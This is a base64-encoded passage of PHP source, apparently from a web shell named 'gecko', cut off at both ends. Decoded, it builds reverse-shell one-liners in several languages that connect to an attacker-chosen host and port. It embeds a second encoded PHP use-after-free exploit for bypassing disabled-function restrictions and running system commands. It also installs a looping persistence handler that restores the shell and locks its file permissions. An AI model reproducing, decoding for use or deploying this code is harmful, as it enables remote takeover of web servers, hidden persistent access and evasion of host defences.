dOwogICAgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAicGVybCIpIHsKICAgICAgICBlY2hvIGNtZCgncGVybCAtZSBcJ3VzZSBTb2NrZXQ7JGk9IicgLiAkSG9zdFNlcnZlciAuICciOyRwPScgLiAkUG9ydFNlcnZlciAuICc7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307XCcnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJweXRob24iKSB7CiAgICAgICAgZWNobyBjbWQoJ3B5dGhvbiAtYyBcJ2ltcG9ydCBzb2NrZXQsc3VicHJvY2VzcyxvcztzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtzLmNvbm5lY3QoKCInIC4gJEhvc3RTZXJ2ZXIgLiAnIiwnIC4gJFBvcnRTZXJ2ZXIgLiAnKSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKTtcJycpOwogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gInJ1YnkiKSB7CiAgICAgICAgZWNobyBjbWQoJ3J1YnkgLXJzb2NrZXQgLWVcJ2Y9VENQU29ja2V0Lm9wZW4oIicgLiAkSG9zdFNlcnZlciAuICciLCcgLiAkUG9ydFNlcnZlciAuICcpLnRvX2k7ZXhlYyBzcHJpbnRmKCIvYmluL3NoIC1pIDwmJWQgPiYlZCAyPiYlZCIsZixmLGYpXCcnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJiYXNoIikgewogICAgICAgIGVjaG8gY21kKCdiYXNoIC1pID4mIC9kZXYvdGNwLycgLiAkSG9zdFNlcnZlciAuICcvJyAuICRQb3J0U2VydmVyIC4gJyAwPiYxJyk7CiAgICB9IGVsc2UgaWYgKCRfUE9TVFsnZ2Vja28tYmMnXSA9PSAicGhwIikgewogICAgICAgIGVjaG8gY21kKCdwaHAgLXIgXCckc29jaz1mc29ja29wZW4oIicgLiAkSG9zdFNlcnZlciAuICciLCcgLiAkUG9ydFNlcnZlciAuICcpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7XCcnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJuYyIpIHsKICAgICAgICBlY2hvIGNtZCgncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgJyAuICRIb3N0U2VydmVyIC4gJyAnIC4gJFBvcnRTZXJ2ZXIgLiAnID4vdG1wL2YnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJzaCIpIHsKICAgICAgICBlY2hvIGNtZCgnc2ggLWkgPiYgL2Rldi90Y3AvJyAuICRIb3N0U2VydmVyIC4gJy8nIC4gJFBvcnRTZXJ2ZXIgLiAnIDA+JjEnKTsKICAgIH0gZWxzZSBpZiAoJF9QT1NUWydnZWNrby1iYyddID09ICJ4dGVybSIpIHsKICAgICAgICBlY2hvIGNtZCgneHRlcm0gLWRpc3BsYXkgJyAuICRIb3N0U2VydmVyIC4gJzonIC4gJFBvcnRTZXJ2ZXIpOwogICAgfSBlbHNlIGlmICgkX1BPU1RbJ2dlY2tvLWJjJ10gPT0gImdvbGFuZyIpIHsKICAgICAgICBlY2hvIGNtZCgnZWNobyBcJ3BhY2thZ2UgbWFpbjtpbXBvcnQib3MvZXhlYyI7aW1wb3J0Im5ldCI7ZnVuYyBtYWluKCl7YyxfOj1uZXQuRGlhbCgidGNwIiwiJyAuICRIb3N0U2VydmVyIC4gJzonIC4gJFBvcnRTZXJ2ZXIgLiAnIik7Y21kOj1leGVjLkNvbW1hbmQoIi9iaW4vc2giKTtjbWQuU3RkaW49YztjbWQuU3Rkb3V0PWM7Y21kLlN0ZGVycj1jO2NtZC5SdW4oKX1cJyA+IC90bXAvdC5nbyAmJiBnbyBydW4gL3RtcC90LmdvICYmIHJtIC90bXAvdC5nbycpOwogICAgfQp9CgoKaWYgKCRfR0VUWyd0ZXJtaW5hbCddID09ICJieXBhc3NlciIpIHsKICAgIGlmICghJGZ1bmdzaVszXSgnLnRlcm0tYnlwYXNzJykgJiYgJGZ1bmdzaVs0XSgkZnVuZ3NpWzBdKCkpKSB7CiAgICAgICAgJGNvbm50ID0gJ1BEOXdhSEFLWm5WdVkzUnBiMjRnY0hkdUtDUmpiV1JrS1NCN0NpQWdJQ0JuYkc5aVlXd2dKR0ZpWXl3Z0pHaGxiSEJsY2l3Z0pHSmhZMnQwY21GalpUc0tDaUFnSUNCamJHRnpjeUJXZFd4dUlIc0tJQ0FnSUNBZ0lDQndkV0pzYVdNZ0pHRTdDaUFnSUNBZ0lDQWdjSFZpYkdsaklHWjFibU4wYVc5dUlGOWZaR1Z6ZEhKMVkzUW9LU0I3SUFvZ0lDQWdJQ0FnSUNBZ0lDQm5iRzlpWVd3Z0pHSmhZMnQwY21GalpUc2dDaUFnSUNBZ0lDQWdJQ0FnSUhWdWMyVjBLQ1IwYUdsekxUNWhLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0pHSmhZMnQwY21GalpTQTlJQ2h1WlhjZ1JYaGpaWEIwYVc5dUtTMCtaMlYwVkhKaFkyVW9LVHNnSXlBN0tRb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlnaGFYTnpaWFFvSkdKaFkydDBjbUZqWlZzeFhWc25ZWEpuY3lkZEtTa2dleUFqSUZCSVVDQStQU0EzTGpRS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNSaVlXTnJkSEpoWTJVZ1BTQmtaV0oxWjE5aVlXTnJkSEpoWTJVb0tUc0tJQ0FnSUNBZ0lDQWdJQ0FnZlFvZ0lDQWdJQ0FnSUgwS0lDQWdJSDBLQ2lBZ0lDQmpiR0Z6Y3lCSVpXeHdaWElnZXdvZ0lDQWdJQ0FnSUhCMVlteHBZeUFrWVN3Z0pHSXNJQ1JqTENBa1pEc0tJQ0FnSUgwS0NpQWdJQ0JtZFc1amRHbHZiaUJ6ZEhJeWNIUnlLQ1lrYzNSeUxDQWtjQ0E5SURBc0lDUnpJRDBnT0NrZ2V3b2dJQ0FnSUNBZ0lDUmhaR1J5WlhOeklEMGdNRHNLSUNBZ0lDQWdJQ0JtYjNJb0pHb2dQU0FrY3kweE95QWthaUErUFNBd095QWthaTB0S1NCN0NpQWdJQ0FnSUNBZ0lDQWdJQ1JoWkdSeVpYTnpJRHc4UFNBNE93b2dJQ0FnSUNBZ0lDQWdJQ0FrWVdSa2NtVnpjeUI4UFNCdmNtUW9KSE4wY2xza2NDc2thbDBwT3dvZ0lDQWdJQ0FnSUgwS0lDQWdJQ0FnSUNCeVpYUjFjbTRnSkdGa1pISmxjM003Q2lBZ0lDQjlDZ29nSUNBZ1puVnVZM1JwYjI0Z2NIUnlNbk4wY2lna2NIUnlMQ0FrYlNBOUlEZ3BJSHNLSUNBZ0lDQWdJQ0FrYjNWMElEMGdJaUk3Q2lBZ0lDQWdJQ0FnWm05eUlDZ2thVDB3T3lBa2FTQThJQ1J0T3lBa2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSUNBZ0lDUnZkWFFnTGowZ1kyaHlLQ1J3ZEhJZ0ppQXdlR1ptS1RzS0lDQWdJQ0FnSUNBZ0lDQWdKSEIwY2lBK1BqMGdPRHNLSUNBZ0lDQWdJQ0I5Q2lBZ0lDQWdJQ0FnY21WMGRYSnVJQ1J2ZFhRN0NpQWdJQ0I5Q2dvZ0lDQWdablZ1WTNScGIyNGdkM0pwZEdVb0ppUnpkSElzSUNSd0xDQWtkaXdnSkc0Z1BTQTRLU0I3Q2lBZ0lDQWdJQ0FnSkdrZ1BTQXdPd29nSUNBZ0lDQWdJR1p2Y2lna2FTQTlJREE3SUNScElEd2dKRzQ3SUNScEt5c3BJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0pITjBjbHNrY0NBcklDUnBYU0E5SUdOb2NpZ2tkaUFtSURCNFptWXBPd29nSUNBZ0lDQWdJQ0FnSUNBa2RpQStQajBnT0RzS0lDQWdJQ0FnSUNCOUNpQWdJQ0I5Q2dvZ0lDQWdablZ1WTNScGIyNGdiR1ZoYXlna1lXUmtjaXdnSkhBZ1BTQXdMQ0FrY3lBOUlEZ3BJSHNLSUNBZ0lDQWdJQ0JuYkc5aVlXd2dKR0ZpWXl3Z0pHaGxiSEJsY2pzS0lDQWdJQ0FnSUNCM2NtbDBaU2drWVdKakxDQXdlRFk0TENBa1lXUmtjaUFySUNSd0lDMGdNSGd4TUNrN0NpQWdJQ0FnSUNBZ0pHeGxZV3NnUFNCemRISnNaVzRvSkdobGJIQmxjaTArWVNrN0NpQWdJQ0FnSUNBZ2FXWW9KSE1nSVQwZ09Da2dleUFrYkdWaGF5QWxQU0F5SUR3OElDZ2tjeUFxSURncElDMGdNVHNnZlFvZ0lDQWdJQ0FnSUhKbGRIVnliaUFrYkdWaGF6c0tJQ0FnSUgwS0NpQWdJQ0JtZFc1amRHbHZiaUJ3WVhKelpWOWxiR1lvSkdKaGMyVXBJSHNLSUNBZ0lDQWdJQ0FrWlY5MGVYQmxJRDBnYkdWaGF5Z2tZbUZ6WlN3Z01IZ3hNQ3dnTWlrN0Nnb2dJQ0FnSUNBZ0lDUmxYM0JvYjJabUlEMGdiR1ZoYXlna1ltRnpaU3dnTUhneU1DazdDaUFnSUNBZ0lDQWdKR1ZmY0dobGJuUnphWHBsSUQwZ2JHVmhheWdrWW1GelpTd2dNSGd6Tml3Z01pazdDaUFnSUNBZ0lDQWdKR1ZmY0dodWRXMGdQU0JzWldGcktDUmlZWE5sTENBd2VETTRMQ0F5S1RzS0NpQWdJQ0FnSUNBZ1ptOXlLQ1JwSUQwZ01Ec2dKR2tnUENBa1pWOXdhRzUxYlRzZ0pHa3JLeWtnZXdvZ0lDQWdJQ0FnSUNBZ0lDQWthR1ZoWkdWeUlEMGdKR0poYzJVZ0t5QWtaVjl3YUc5bVppQXJJQ1JwSUNvZ0pHVmZjR2hsYm5SemFYcGxPd29nSUNBZ0lDQWdJQ0FnSUNBa2NGOTBlWEJsSUNBOUlHeGxZV3NvSkdobFlXUmxjaXdnTUN3Z05DazdDaUFnSUNBZ0lDQWdJQ0FnSUNSd1gyWnNZV2R6SUQwZ2JHVmhheWdrYUdWaFpHVnlMQ0EwTENBMEtUc0tJQ0FnSUNBZ0lDQWdJQ0FnSkhCZmRtRmtaSElnUFNCc1pXRnJLQ1JvWldGa1pYSXNJREI0TVRBcE93b2dJQ0FnSUNBZ0lDQWdJQ0FrY0Y5dFpXMXplaUE5SUd4bFlXc29KR2hsWVdSbGNpd2dNSGd5T0NrN0Nnb2dJQ0FnSUNBZ0lDQWdJQ0JwWmlna2NGOTBlWEJsSUQwOUlERWdKaVlnSkhCZlpteGhaM01nUFQwZ05pa2dleUFqSUZCVVgweFBRVVFzSUZCR1gxSmxZV1JmVjNKcGRHVUtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDTWdhR0Z1Wkd4bElIQnBaUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKR1JoZEdGZllXUmtjaUE5SUNSbFgzUjVjR1VnUFQwZ01pQS9JQ1J3WDNaaFpHUnlJRG9nSkdKaGMyVWdLeUFrY0Y5MllXUmtjanNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ1JrWVhSaFgzTnBlbVVnUFNBa2NGOXRaVzF6ZWpzS0lDQWdJQ0FnSUNBZ0lDQWdmU0JsYkhObElHbG1LQ1J3WDNSNWNHVWdQVDBnTVNBbUppQWtjRjltYkdGbmN5QTlQU0ExS1NCN0lDTWdVRlJmVEU5QlJDd2dVRVpmVW1WaFpGOWxlR1ZqQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FrZEdWNGRGOXphWHBsSUQwZ0pIQmZiV1Z0YzNvN0NpQWdJQ0FnSUNBZ0lDQWdJSDBLSUNBZ0lDQWdJQ0I5Q2dvZ0lDQWdJQ0FnSUdsbUtDRWtaR0YwWVY5aFpHUnlJSHg4SUNFa2RHVjRkRjl6YVhwbElIeDhJQ0VrWkdGMFlWOXphWHBsS1FvZ0lDQWdJQ0FnSUNBZ0lDQnlaWFIxY200Z1ptRnNjMlU3Q2dvZ0lDQWdJQ0FnSUhKbGRIVnliaUJiSkdSaGRHRmZZV1JrY2l3Z0pIUmxlSFJmYzJsNlpTd2dKR1JoZEdGZmMybDZaVjA3Q2lBZ0lDQjlDZ29nSUNBZ1puVnVZM1JwYjI0Z1oyVjBYMkpoYzJsalgyWjFibU56S0NSaVlYTmxMQ0FrWld4bUtTQjdDaUFnSUNBZ0lDQWdiR2x6ZENna1pHRjBZVjloWkdSeUxDQWtkR1Y0ZEY5emFYcGxMQ0FrWkdGMFlWOXphWHBsS1NBOUlDUmxiR1k3Q2lBZ0lDQWdJQ0FnWm05eUtDUnBJRDBnTURzZ0pHa2dQQ0FrWkdGMFlWOXphWHBsSUM4Z09Ec2dKR2tyS3lrZ2V3b2dJQ0FnSUNBZ0lDQWdJQ0FrYkdWaGF5QTlJR3hsWVdzb0pHUmhkR0ZmWVdSa2Npd2dKR2tnS2lBNEtUc0tJQ0FnSUNBZ0lDQWdJQ0FnYVdZb0pHeGxZV3NnTFNBa1ltRnpaU0ErSURBZ0ppWWdKR3hsWVdzZ0xTQWtZbUZ6WlNBOElDUmtZWFJoWDJGa1pISWdMU0FrWW1GelpTa2dld29nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdKR1JsY21WbUlEMGdiR1ZoYXlna2JHVmhheWs3Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FqSUNkamIyNXpkR0Z1ZENjZ1kyOXVjM1JoYm5RZ1kyaGxZMnNLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJR2xtS0NSa1pYSmxaaUFoUFNBd2VEYzBObVUyTVRjME56TTJaVFptTmpNcENpQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdZMjl1ZEdsdWRXVTdDaUFnSUNBZ0lDQWdJQ0FnSUgwZ1pXeHpaU0JqYjI1MGFXNTFaVHNLQ2lBZ0lDQWdJQ0FnSUNBZ0lDUnNaV0ZySUQwZ2JHVmhheWdrWkdGMFlWOWhaR1J5TENBb0pHa2dLeUEwS1NBcUlEZ3BPd29nSUNBZ0lDQWdJQ0FnSUNCcFppZ2tiR1ZoYXlBdElDUmlZWE5sSUQ0Z01DQW1KaUFrYkdWaGF5QXRJQ1JpWVhObElEd2dKR1JoZEdGZllXUmtjaUF0SUNSaVlYTmxLU0I3Q2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0FrWkdWeVpXWWdQU0JzWldGcktDUnNaV0ZyS1RzS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNNZ0oySnBiakpvWlhnbklHTnZibk4wWVc1MElHTm9aV05yQ2lBZ0lDQWdJQ0FnSUNBZ0lDQWdJQ0JwWmlna1pHVnlaV1lnSVQwZ01IZzNPRFkxTmpnek1qWmxOamsyTWlrS0lDQWdJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lDQmpiMjUwYVc1MVpUc0tJQ0FnSUNBZ0lDQWdJQ0FnZlNCbGJITmxJR052Ym5ScGJuVmxPd29LSUNBZ0lDQWdJQ0FnSUNBZ2NtVjBkWEp1SUNSa1lYUmhYMkZrWkhJZ0t5QWthU0FxSURnN0NpQWdJQ0FnSUNBZ2ZRb2dJQ0FnZlFvS0lDQWdJR1oxYm1OMGFXOXVJR2RsZEY5aWFXNWhjbmxmWW1GelpTZ2tZbWx1WVhKNVgyeGxZV3NwSUhzS0lDQWdJQ0FnSUNBa1ltRnpaU0E5SURBN0NpQWdJQ0FnSUNBZ0pITjBZWEowSUQwZ0pHSnBibUZ5ZVY5c1pXRnJJQ1lnTUhobVptWm1abVptWm1abVptWm1NREF3T3dvZ0lDQWdJQ0FnSUdadmNpZ2thU0E5SURBN0lDUnBJRHdnTUhneE1EQXdPeUFrYVNzcktTQjdDaUFnSUNBZ0lDQWdJQ0FnSUNSaFpHUnlJRDBnSkhOMFlYSjBJQzBnTUhneE1EQXdJQ29nSkdrN0NpQWdJQ0FnSUNBZ0lDQWdJQ1JzWldGcklEMGdiR1ZoYXlna1lXUmtjaXdnTUN3Z055azdDaUFnSUNBZ0lDQWdJQ0FnSUdsbUtDUnNaV0ZySUQwOUlEQjRNVEF4TURJME5qUmpORFUzWmlrZ2V5QWpJRVZNUmlCb1pXRmtaWElLSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdJSEpsZEhWeWJpQWtZV1JrY2pzS0lDQWdJQ0FnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJSDBLSUNBZ0lIMEtDaUFnSUNCbWRXNWpkR2x2YmlCblpYUmZjM2x6ZEdWdEtDUmlZWE5wWTE5bWRXNWpjeWtnZXdvZ0lDQWdJQ0FnSUNSaFpHUnlJRDBnSkdKaGMybGpYMloxYm1Oek93b2dJQ0FnSUNBZ0lHUnZJSHNLSUNBZ0lDQWdJQ0FnSUNBZ0pHWmZaVzUwY25rZ1BTQnNaV0ZyS0NSaFpHUnlLVHNLSUNBZ0lDQWdJQ0FnSUNBZ0pHWmZibUZ0WlNBOUlHeGxZV3NvSkdaZlpXNTBjbmtzSURBc0lEWXBPd29LSUNBZ0lDQWdJQ0FnSUNBZ2FXWW9KR1pmYm1GdFpTQTlQU0F3ZURaa05qVTNORGN6TnprM015a2dleUFqSUhONWMzUmxiUW9nSUNBZ0lDQWdJQ0FnSUNBZ0lDQWdjbVYwZFhKdUlHeGxZV3NvSkdGa1pISWdLeUE0S1RzS0lDQWdJQ0FnSUNBZ0lDQWdmUW9nSUNBZ0lDQWdJQ0FnSUNBa1lXUmtjaUFyUFNBd2VESXdPd29nSUNBZ0lDQWdJSDBnZDJocGJHVW9KR1pmWlc1MGNua2dJVDBnTUNrN0NpQWdJQ0FnSUNBZ2NtVjBkWEp1SUdaaGJITmxPd29nSUNBZ2ZRb0tJQ0FnSUdaMWJtTjBhVzl1SUhSeWFXZG5aWEpmZFdGbUtDUmhjbWNwSUhzS0lDQWdJQ0FnSUNBaklITjBjbDl6YUhWbVpteGxJSEJ5WlhabGJuUnpJRzl3WTJGamFHVWdjM1J5YVc1bklHbHVkR1Z5Ym1sdVp3b2dJQ0FnSUNBZ0lDUmhjbWNnUFNCemRISmZjMmgxWm1ac1pTaHpkSEpmY21Wd1pXRjBLQ2RCSnl3Z056a3BLVHNLSUNBZ0lDQWdJQ0FrZG5Wc2JpQTlJRzVsZHlCV2RXeHVLQ2s3Q2lBZ0lDQWdJQ0FnSkhaMWJHNHRQbUVnUFNBa1lYSm5Pd29nSUNBZ2ZRb0tJQ0FnSUdsbUtITjBjbWx6ZEhJb1VFaFFYMDlUTENBblYwbE9KeWtwSUhzS0lDQWdJQ0FnSUNCa2FXVW9KMVJvYVhNZ1VHOURJR2x6SUdadmNpQXFibWw0SUhONWMzUmxiWE1nYjI1c2VTNG5LVHNLSUNBZ0lIMEtDaUFnSUNBa2JsOWhiR3h2WXlBOUlERXdPeUFqSUdsdVkzSmxZWE5sSUhSb2FYTWdkbUZzZFdVZ2FXWWdWVUZHSUdaaGFXeHpDaUFnSUNBa1kyOXVkR2xuZFc5MWN5QTlJRnRkT3dvZ0lDQWdabTl5S0NScElEMGdNRHNnSkdrZ1BDQWtibDloYkd4dll6c2dKR2tyS3lrS0lDQWdJQ0FnSUNBa1kyOXVkR2xuZFc5MWMxdGRJRDBnYzNSeVgzTm9kV1ptYkdVb2MzUnlYM0psY0dWaGRDZ25RU2NzSURjNUtTazdDZ29nSUNBZ2RISnBaMmRsY2w5MVlXWW9KM2duS1RzS0lDQWdJQ1JoWW1NZ1BTQWtZbUZqYTNSeVlXTmxXekZkV3lkaGNtZHpKMTFiTUYwN0Nnb2dJQ0FnSkdobGJIQmxjaUE5SUc1bGR5QklaV3h3WlhJN0NpQWdJQ0FrYUdWc2NHVnlMVDVpSUQwZ1puVnVZM1JwYjI0Z0tDUjRLU0I3SUgwN0Nnb2dJQ0FnYVdZb2MzUnliR1Z1S0NSaFltTXBJRDA5SURjNUlIeDhJSE4wY214bGJpZ2tZV0pqS1NBOVBTQXdLU0I3Q2lBZ0lDQWdJQ0FnWkdsbEtDSlZRVVlnWm1GcGJHVmtJaWs3Q2lBZ0lDQjlDZ29nSUNBZ0l5QnNaV0ZyY3dvZ0lDQWdKR05zYjNOMWNtVmZhR0Z1Wkd4bGNuTWdQU0J6ZEhJeWNIUnlLQ1JoWW1Nc0lEQXBPd29nSUNBZ0pIQm9jRjlvWldGd0lEMGdjM1J5TW5CMGNpZ2tZV0pqTENBd2VEVTRLVHNLSUNBZ0lDUmhZbU5mWVdSa2NpQTlJQ1J3YUhCZmFHVmhjQ0F0SURCNFl6ZzdDZ29nSUNBZ0l5Qm1ZV3RsSUhaaGJIVmxDaUFnSUNCM2NtbDBaU2drWVdKakxDQXdlRFl3TENBeUtUc0tJQ0FnSUhkeWFYUmxLQ1JoWW1Nc0lEQjROekFzSURZcE93b0tJQ0FnSUNNZ1ptRnJaU0J5WldabGNtVnVZMlVLSUNBZ0lIZHlhWFJsS0NSaFltTXNJREI0TVRBc0lDUmhZbU5mWVdSa2NpQXJJREI0TmpBcE93b2dJQ0FnZDNKcGRHVW9KR0ZpWXl3Z01IZ3hPQ3dnTUhoaEtUc0tDaUFnSUNBa1kyeHZjM1Z5WlY5dlltb2dQU0J6ZEhJeWNIUnlLQ1JoWW1Nc0lEQjRNakFwT3dvS0lDQWdJQ1JpYVc1aGNubGZiR1ZoYXlBOUlHeGxZV3NvSkdOc2IzTjFjbVZmYUdGdVpHeGxjbk1zSURncE93b2dJQ0FnYVdZb0lTZ2tZbUZ6WlNBOUlHZGxkRjlpYVc1aGNubGZZbUZ6WlNna1ltbHVZWEo1WDJ4bFlXc3BLU2tnZXdvZ0lDQWdJQ0FnSUdScFpTZ2lRMjkxYkdSdUozUWdaR1YwWlhKdGFXNWxJR0pwYm1GeWVTQmlZWE5sSUdGa1pISmxjM01pS1RzS0lDQWdJSDBLQ2lBZ0lDQnBaaWdoS0NSbGJHWWdQU0J3WVhKelpWOWxiR1lvSkdKaGMyVXBLU2tnZXdvZ0lDQWdJQ0FnSUdScFpTZ2lRMjkxYkdSdUozUWdjR0Z5YzJVZ1JVeEdJR2hsWVdSbGNpSXBPd29nSUNBZ2ZRb0tJQ0FnSUdsbUtDRW9KR0poYzJsalgyWjFibU56SUQwZ1oyVjBYMkpoYzJsalgyWjFibU56S0NSaVlYTmxMQ0FrWld4bUtTa3BJSHNLSUNBZ0lDQWdJQ0JrYVdVb0lrTnZkV3hrYmlkMElHZGxkQ0JpWVhOcFkxOW1kVzVqZEdsdmJuTWdZV1JrY21WemN5SXBPd29nSUNBZ2ZRb0tJQ0FnSUdsbUtDRW9KSHBwWmw5emVYTjBaVzBnUFNCblpYUmZjM2x6ZEdWdEtDUmlZWE5wWTE5bWRXNWpjeWtwS1NCN0NpQWdJQ0FnSUNBZ1pHbGxLQ0pEYjNWc1pHNG5kQ0JuWlhRZ2VtbG1YM041YzNSbGJTQmhaR1J5WlhOeklpazdDaUFnSUNCOUNnb2dJQ0FnSXlCbVlXdGxJR05zYjNOMWNtVWdiMkpxWldOMENpQWdJQ0FrWm1GclpWOXZZbXBmYjJabWMyVjBJRDBnTUhoa01Ec0tJQ0FnSUdadmNpZ2thU0E5SURBN0lDUnBJRHdnTUhneE1UQTdJQ1JwSUNzOUlEZ3BJSHNLSUNBZ0lDQWdJQ0IzY21sMFpTZ2tZV0pqTENBa1ptRnJaVjl2WW1wZmIyWm1jMlYwSUNzZ0pHa3NJR3hsWVdzb0pHTnNiM04xY21WZmIySnFMQ0FrYVNrcE93b2dJQ0FnZlFvS0lDQWdJQ01nY0hkdUNpQWdJQ0IzY21sMFpTZ2tZV0pqTENBd2VESXdMQ0FrWVdKalgyRmtaSElnS3lBa1ptRnJaVjl2WW1wZmIyWm1jMlYwS1RzS0lDQWdJSGR5YVhSbEtDUmhZbU1zSURCNFpEQWdLeUF3ZURNNExDQXhMQ0EwS1RzZ0l5QnBiblJsY201aGJDQm1kVzVqSUhSNWNHVUtJQ0FnSUhkeWFYUmxLQ1JoWW1Nc0lEQjRaREFnS3lBd2VEWTRMQ0FrZW1sbVgzTjVjM1JsYlNrN0lDTWdhVzUwWlhKdVlXd2dablZ1WXlCb1lXNWtiR1Z5Q2dvZ0lDQWdLQ1JvWld4d1pYSXRQbUlwS0NSamJXUmtLVHNLZlE9PSc7CiAgICAgICAgJGZ1bmdzaVsyOF0oIi50ZXJtLWJ5cGFzcyIsIGJhc2U2NF9kZWNvZGUoJGNvbm50KSk7CiAgICB9Cn0KCgppZiAoaXNzZXQoJF9HRVRbJ2xvY2tzaGVsbCddKSkgewogICAgJGN1ckZpbGUgPSB0cmltKGJhc2VuYW1lKCRfU0VSVkVSWyJceDUzXHg0M1x4NTJceDQ5XHg1MFx4NTRceDVmXHg0Nlx4NDlceDRjXHg0NVx4NGVceDQxXHg0ZFx4NDUiXSkpOwogICAgJFRtcE5hbWVzID0gJGZ1bmdzaVszMV0oKTsKICAgIGlmIChmaWxlX2V4aXN0cygkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgIC4gJy1oYW5kbGVyJykpICYmIGZpbGVfZXhpc3RzKCRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlKSAuICctdGV4dCcpKSkgewogICAgICAgIGNtZCgncm0gLXJmICcgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLXRleHQnKSk7CiAgICAgICAgY21kKCdybSAtcmYgJyAuICRUbXBOYW1lcyAuICcvLnNlc3Npb25zLy4nIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlKSAuICctaGFuZGxlcicpKTsKICAgIH0KICAgIG1rZGlyKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zIik7CiAgICBjbWQoImNwICRjdXJGaWxlICIgLiAkVG1wTmFtZXMgLiAiLy5zZXNzaW9ucy8uIiAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLXRleHQnKSk7CiAgICBjaG1vZCgkY3VyRmlsZSwgMDQ0NCk7CiAgICAkaGFuZGxlciA9ICcKPD9waHAKQGluaV9zZXQoIm1heF9leGVjdXRpb25fdGltZSIsIDApOwp3aGlsZSAoVHJ1ZSl7CiAgICBpZiAoIWZpbGVfZXhpc3RzKCInIC4gX19ESVJfXyAuICciKSl7CiAgICAgICAgbWtkaXIoIicgLiBfX0RJUl9fIC4gJyIpOwogICAgfQogICAgaWYgKCFmaWxlX2V4aXN0cygiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRjdXJGaWxlIC4gJyIpKXsKICAgICAgICAkdGV4dCA9IGJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoIicgLiAkVG1wTmFtZXMgLiAnLy5zZXNzaW9ucy8uJyAuIGJhc2U2NF9lbmNvZGUoJGZ1bmdzaVswXSgpIC4gcmVtb3ZlX2RvdCgkY3VyRmlsZSkgLiAnLXRleHQnKSAuICciKSk7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoIicgLiAkZnVuZ3NpWzBdKCkgLiAnLycgLiAkY3VyRmlsZSAuICciLCBiYXNlNjRfZGVjb2RlKCR0ZXh0KSk7CiAgICB9CiAgICBpZiAoZ2Vja29fcGVybSgiJyAuICRmdW5nc2lbMF0oKSAuICcvJyAuICRjdXJGaWxlIC4gJyIpICE9IDA0NDQpewogICAgICAgIGNobW9kKCInIC4gJGZ1bmdzaVswXSgpIC4gJy8nIC4gJGN1ckZpbGUgLiAnIiwgMDQ0NCk7CiAgICB9CiAgICBpZiAoZ2Vja29fcGVybSgiJyAuIF9fRElSX18gLiAnIikgIT0gMDU1NSl7CiAgICAgICAgY2htb2QoIicgLiBfX0RJUl9fIC4gJyIsIDA1NTUpOwogICAgfQp9CgpmdW5jdGlvbiBnZWNrb19wZXJtKCRmbGVuYW1lKXsKICAgIHJldHVybiBzdWJzdHIoc3ByaW50ZigiJW8iLCBmaWxlcGVybXMoJGZsZW5hbWUpKSwgLTQpOwp9Cic7CiAgICAkaG5kbGVycyA9ICRmdW5nc2lbMjhdKCRUbXBOYW1lcyAuICIvLnNlc3Npb25zLy4iIC4gYmFzZTY0X2VuY29kZSgkZnVuZ3NpWzBdKCkgLiByZW1vdmVfZG90KCRjdXJGaWxlK